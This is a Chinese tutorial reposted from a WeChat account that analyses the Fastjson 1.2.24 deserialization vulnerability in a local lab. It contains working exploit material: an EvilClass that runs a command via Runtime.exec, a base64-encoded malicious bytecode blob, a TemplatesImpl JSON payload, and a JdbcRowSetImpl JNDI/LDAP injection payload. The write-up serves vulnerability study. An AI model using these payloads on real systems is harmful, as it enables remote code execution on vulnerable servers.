前言本地环境搭建Fastjson 使用 将对象序列化为json字符串 将json字符串反序列化为对象反序列化漏洞成因及利用链 漏洞成因 TemplatesImpl 反序列化链 payload 从头分析反序列化过程 JdbcRowSetImpl 反序列化链 payload 反序列化过程细节问题 setter getter 调用情况 哪些满足条件的getter被调用了参考链接
前言
系统学习fastjson反序列漏洞。
2017年爆出fastjson 1.2.24 反序列化漏洞,本文以这个漏洞为基础,搭建调试环境,从fastjson反序列入口及反序列化利用链两方面分析学习,介绍其中涉及的细节问题。
本地环境搭建
使用IDEA创建一个maven项目,pom.xml
中添加fastjson 1.2.24 依赖:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
创建一个User类,该类对象用于后续fastjson序列化/反序列化调用分析:
package com.example;
import java.util.Properties;
public class User {
public String name;
private int id;
private Boolean bool;
private Properties myproperties;
public User(){
System.out.println("无参构造");
}
public User(String name, int id) {
System.out.println("有参构造");
this.name = name;
this.id = id;
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getId() {
System.out.println("getId");
return id;
}
public void setId(int id) {
System.out.println("setId");
this.id = id;
}
public Boolean getBool() {
System.out.println("getBool");
return bool;
}
public Properties getMyproperties() {
System.out.println("getMyproperties");
return myproperties;
}
@Override
public String toString() {
return "[User] {" + "name='" + name + "'" + ", id=" + id + ", bool='" + bool + "'" + ", myproperties='" + myproperties + "'}";
}
}
Fastjson 使用
将对象序列化为json字符串
Fastjson可以将对象序列化为json字符串,方法名为:
com.alibaba.fastjson.JSON#toJSONString(java.lang.Object)
演示代码
package com.example;
import com.alibaba.fastjson.JSON;
public class FastjsonTest {
public static void main(String[] args) {
User user = new User("zhangsan", 22);
String json = JSON.toJSONString(user);
System.out.println(json);
}
}
//输出结果
有参构造
getBool
getId
getMyproperties
getName
{"id":22,"name":"zhangsan"}
但最终输出的json字符串中只包含对象中的属性值,无法直观判断是由哪个类序列化来的。
该方法还有第二个参数:SerializerFeature.WriteClassName
com.alibaba.fastjson.JSON#toJSONString(java.lang.Object, com.alibaba.fastjson.serializer.SerializerFeature...)
如此,在将对象序列化成json字符串时,就会记录类的名字。
演示代码:
import com.alibaba.fastjson.serializer.SerializerFeature;
String json = JSON.toJSONString(user, SerializerFeature.WriteClassName);
// 输出结果
有参构造
getBool
getId
getMyproperties
getName
{"@type":"com.example.User","id":22,"name":"zhangsan"}
传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type@type关键字标识这个字符串是由某个类序列化而来
在上面的输出结果中,还调用了各个属性的getter
方法,这也不难理解。fastjson将对象属性值写到json字符串中,需要线获取这个对象的各属性值,这一步就是通过getter
方法。
将json字符串反序列化为对象
有三个方法可以将json字符串反序列化为类对象:
com.alibaba.fastjson.JSON#parse(java.lang.String)
com.alibaba.fastjson.JSON#parseObject(java.lang.String)
com.alibaba.fastjson.JSON#parseObject(java.lang.String, java.lang.Class<T>)
演示代码:
package com.example;
import com.alibaba.fastjson.JSON;
public class FastjsonTest {
public static void main(String[] args) {
String json1 = "{"@type":"com.example.User","id":22,"name":"zhangsan"}";
String json2 = "{"id":22,"name":"zhangsan"}";
System.out.println("===");
System.out.println(JSON.parse(json1));
System.out.println("===");
System.out.println(JSON.parseObject(json1));
System.out.println("===");
System.out.println(JSON.parseObject(json1, User.class));
System.out.println("===");
System.out.println(JSON.parse(json2));
System.out.println("===");
System.out.println(JSON.parseObject(json2));
System.out.println("===");
System.out.println(JSON.parseObject(json2, User.class));
}
}
// 输出结果
===
无参构造
setId
setName
[User] {name='zhangsan', id=22, bool='null', myproperties='null'}
===
无参构造
setId
setName
getBool
getId
getMyproperties
getName
{"name":"zhangsan","id":22}
===
无参构造
setId
setName
[User] {name='zhangsan', id=22, bool='null', myproperties='null'}
===
{"name":"zhangsan","id":22}
===
{"name":"zhangsan","id":22}
===
无参构造
setId
setName
[User] {name='zhangsan', id=22, bool='null', myproperties='null'}
可以看到:
在json字符串中使用@type
指定类时,JSON.parse(json1)
和JSON.parseObject(json1, User.class)
可以反序列化为指定类;
没有使用@type
指定类时,JSON.parseObject(json2, User.class)
可以反序列化为指定类。
关于setter
和getter
方法的调用规则顺序,后面再作解释。
反序列化漏洞成因及利用链
漏洞成因
fastjson通过parse、parseObject处理以json结构传入的类的字符串形时,会默认调用该类的setter与构造函数,并在合适的触发条件下调用该类的getter方法。当传入的类中setter、getter方法中存在利用点时,攻击者就可以通过传入可控的类的成员变量进行攻击利用。
本文学习两个这种类,称之为反序列化利用链:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
TemplatesImpl
利用链则用到的是getter方法缺陷,而JdbcRowSetImpl
这条利用链用到的是类中setter方法的缺陷。
TemplatesImpl 反序列化链
TemplatesImpl 这条反序列化链在yso中很常见,其最终构造一个TemplatesImpl
对象,它的_bytecodes
属性是一个恶意类的字节码。设置一定条件下,反序列化TemplatesImpl
类对象时,其中的字节码会被实例化,从而执行其中的恶意代码。
TemplatesImpl
类中存在一个名为_outputProperties
的私有变量,其getter方法中存在利用点。
payload
我们无从得知挖掘这个利用链的过程,这里直接构造好payload,分析反序列化的过程:
首先需要准备一个恶意类,类的静态代码块或构造函数中写入恶意代码,该类实例化时就会执行恶意代码,如下示例(代码来源参考链接):
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
}
public static void main(String[] args) throws Exception{
EvilClass evilClass = new EvilClass();
}
}
使用javac将其编译成EvilClass.class
的字节码文件。将其byte流base64编码后就是TemplatesImpl
类的_bytecodes
属性,如下示例代码
package test;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;
public class HelloWorld {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = ".\src\main\java\test\EvilClass.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}
我偏向使用yso项目生成payload,Gadgets.createTemplatesImpl(command);
中,final byte[] classBytes = clazz.toBytecode();
就是恶意类的字节码,IDEA调试时将其base64即可。
yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIxNDAwMjk2Njc3MDI5MDABACBMeXNvc2VyaWFsL1B3bmVyMTQwMDI5NjY3NzAyOTAwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==
最后给出fastjson的payload:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAADxxxxx"], "_name":"c.c", "_tfactory":{ },"_outputProperties":{}, "_name":"a", "_version":"1.0", "allowedProtocols":"all"}
json解析执行恶意代码:
String payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAAxxx"], "_name":"a", "_tfactory":{ },"_outputProperties":{}, "_version":"1.0", "allowedProtocols":"all"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
JSON.parseObject第二个参数Feature.SupportNonPublicField
作用如下:
Fastjson默认(私有变量没有setter方法时)只会反序列化public修饰的属性,由于私有变量_name
没有setter
方法,在反序列化时想给这个变量赋值则需要使用Feature.SupportNonPublicField
参数。
这条利用链利用条件相对比较苛刻,因为用到的变量都是private的。
从头分析反序列化过程
JSON.parseObject(payload, Feature.SupportNonPublicField);
开始调试。
会对Feature... features
进行一些判断处理,随后将features
对应的int值传入parse
函数
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
text
参数是payload的json字符串,features
参数是int值(Feature.SupportNonPublicField得到)
会根据传入的参数创建一个DefaultJSONParser
对象
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
}
input
参数是String类型的json字符串;lexer
参数是JSONScanner
对象类型,其由input
和features
构造得到。
在这个函数里面会判断解析的json字符串第一个字符是{
还是[
,并由此设置token值,其为lexer
对象的属性,这里设置token值为12.创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse
方法。
在DefaultJSONParser#parse
中会根据token值进行判断,进入:
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
首先创建一个空的JSONObject
对象,随后进入DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
进行解析,fieldName
是null。
继续读取json字符串,上面已经第一次读取了(判断是 { 还是 [ 时),读取第二个字符为"
,进行处理:
if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}
上面获取到key的值为@type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
之后继续扫描解析,获取到key(@type
)的值为我们指定的类,随后通过TypeUtils.loadClass
load这个class。
loadclass中,会先从mappings里面寻找类,最后再用ClassLoader加载类。
接着对Class对象反序列化操作:
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
跟进getDeserializer
方法:
String className = clazz.getName();
className = className.replace('$', '.');
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}
this.denyList
里面是java.lang.Thread
,使用了黑名单限制可以反序列化的类(这里只有Thread)
this.config.getDeserializer(clazz)
返回的类对象deserializer
是JavaBeanDeserializer
类型,最后进入JavaBeanDeserializer#deserialze()
继续解析。
在JavaBeanDeserializer#deserialze()
里依次扫描解析json字符串(payload)的键,_bytecodes
第一个解析:key = lexer.scanSymbol(parser.symbolTable);
type
为TemplatesImpl,通过createInstance
创建这个对象:
if (object == null && fieldValues == null) {
object = this.createInstance(parser, type);
if (object == null) {
fieldValues = new HashMap(this.fieldDeserializers.length);
}
childContext = parser.setContext(context, object, fieldName);
}
继续解析json字符串(payload),并将解析到的值赋值给上面的object对象:
boolean match = this.parseField(parser, key, object, type, fieldValues);
parser
参数为DefaultJSONParser
对象;
key
为依次解析到的json字符串的键,第一个为_bytecodes
。这个顺序跟我们的payload有关,依次为:_bytecodes
、_name
、_tfactory
、_outputProperties
这其中就会调用getter
方法。
在TemplatesImpl#getOutputProperties
方法中下断点:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
接下来就是熟悉的反序列化利用过程了。
调用newTransformer()
方法
调用getTransletInstance()
方法
_name
不能为空,所以payload中我们需要将_name
放在靠前一点。
_class
需要为空,调用defineTransletClasses()
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
通过loader.defineClass()
load恶意类的_bytecodes
字节码,赋值给_class
同时判断恶意类的父类是不是AbstractTranslet
(已经满足这个条件)
从defineTransletClasses()
出来后:
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
就直接实例化这个恶意类,从而执行里面的恶意代码。
JdbcRowSetImpl 反序列化链
JdbcRowSetImpl这条利用链最终的结果是导致JNDI注入。在setAutoCommit()
会调用lookup(getDataSourceName())
,而dataSourceName
是可以外部指定的,所以造成JNDI注入漏洞。
payload
String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc", "autoCommit":true}";
// JSON.parse(); 也一样,这两个属性都存在setter方法
JSON.parseObject(payload);
起一个恶意的ldap服务,这里我使用 https://github.com/Mr-xn/JNDIExploit-1
解析json字符串即可触发漏洞。
注意:JNDI注入漏洞依赖目标JDK版本,JEP290是java底层为了缓解反序列化攻击提出的一种解决方案,影响版本如下:
-
java 9及以上
-
JDK 6u141
-
JDK 7u131
-
JDK 8u121
jdk8 新版本中有进一步限制黑名单,包括jdk8u231
、jdk8u241
所以本地调试这个漏洞时,选用JDK 8u121
以下版本。
反序列化过程
前面重复的解析字符串反序列化的过程就不多说,直接看JdbcRowSetImpl类的setAutoCommit
这个setter
方法
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
判断conn
属性是否为空,为空就调用this.connect()
方法为其赋值,传入的json字符串中没有指定conn
,跟进this.connect()
方法:
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
首先会调用this.getDataSourceName()
获取dataSourceName
属性的值,在json字符串中已经传入这个属性的值为恶意的ldap链接,并且位置在autoCommit
之前,所以后面就直接调用javax.naming.InitialContext#lookup(this.getDataSourceName())
,lookup函数连接我们写入的恶意服务,造成jndi注入漏洞。
细节问题
setter getter 调用情况
这里直接记录下结论,调试起来不麻烦,不详细记录了。
parse(String text)
:全部setter调用,部分getter调用
parseObject(String text, Class<T> clazz)
:全部setter调用,部分getter调用
parseObject(String text)
:全部setter调用,全部getter调用
并且前两个函数,部分getter调用时,调用的getter是一样的。
哪些满足条件的getter被调用了
在JavaBeanInfo.build()
中的代码可以看到这块的条件
getter方法需同时满足以下条件,在反序列化时才会被调用
-
getter方法名需要长于4
-
getter不是静态方法
-
getter方法以get字符串开头,且第四个字符串是大写字母
-
getter方法不能有参数传入
-
getter方法返回值类型继承自 Collection || Map || AtomicBoolean|| AtomicInteger || AtomicLong
-
getter方法不能用有对应的setter方法
参考链接
https://xz.aliyun.com/t/12096
https://mp.weixin.qq.com/s/vsFRpyPTmj-h3kk6KhEfeg
https://xz.aliyun.com/t/8979
原文始发于微信公众号(信安文摘):【Fastjson】- 初识Fastjson-1.2.24反序列化漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论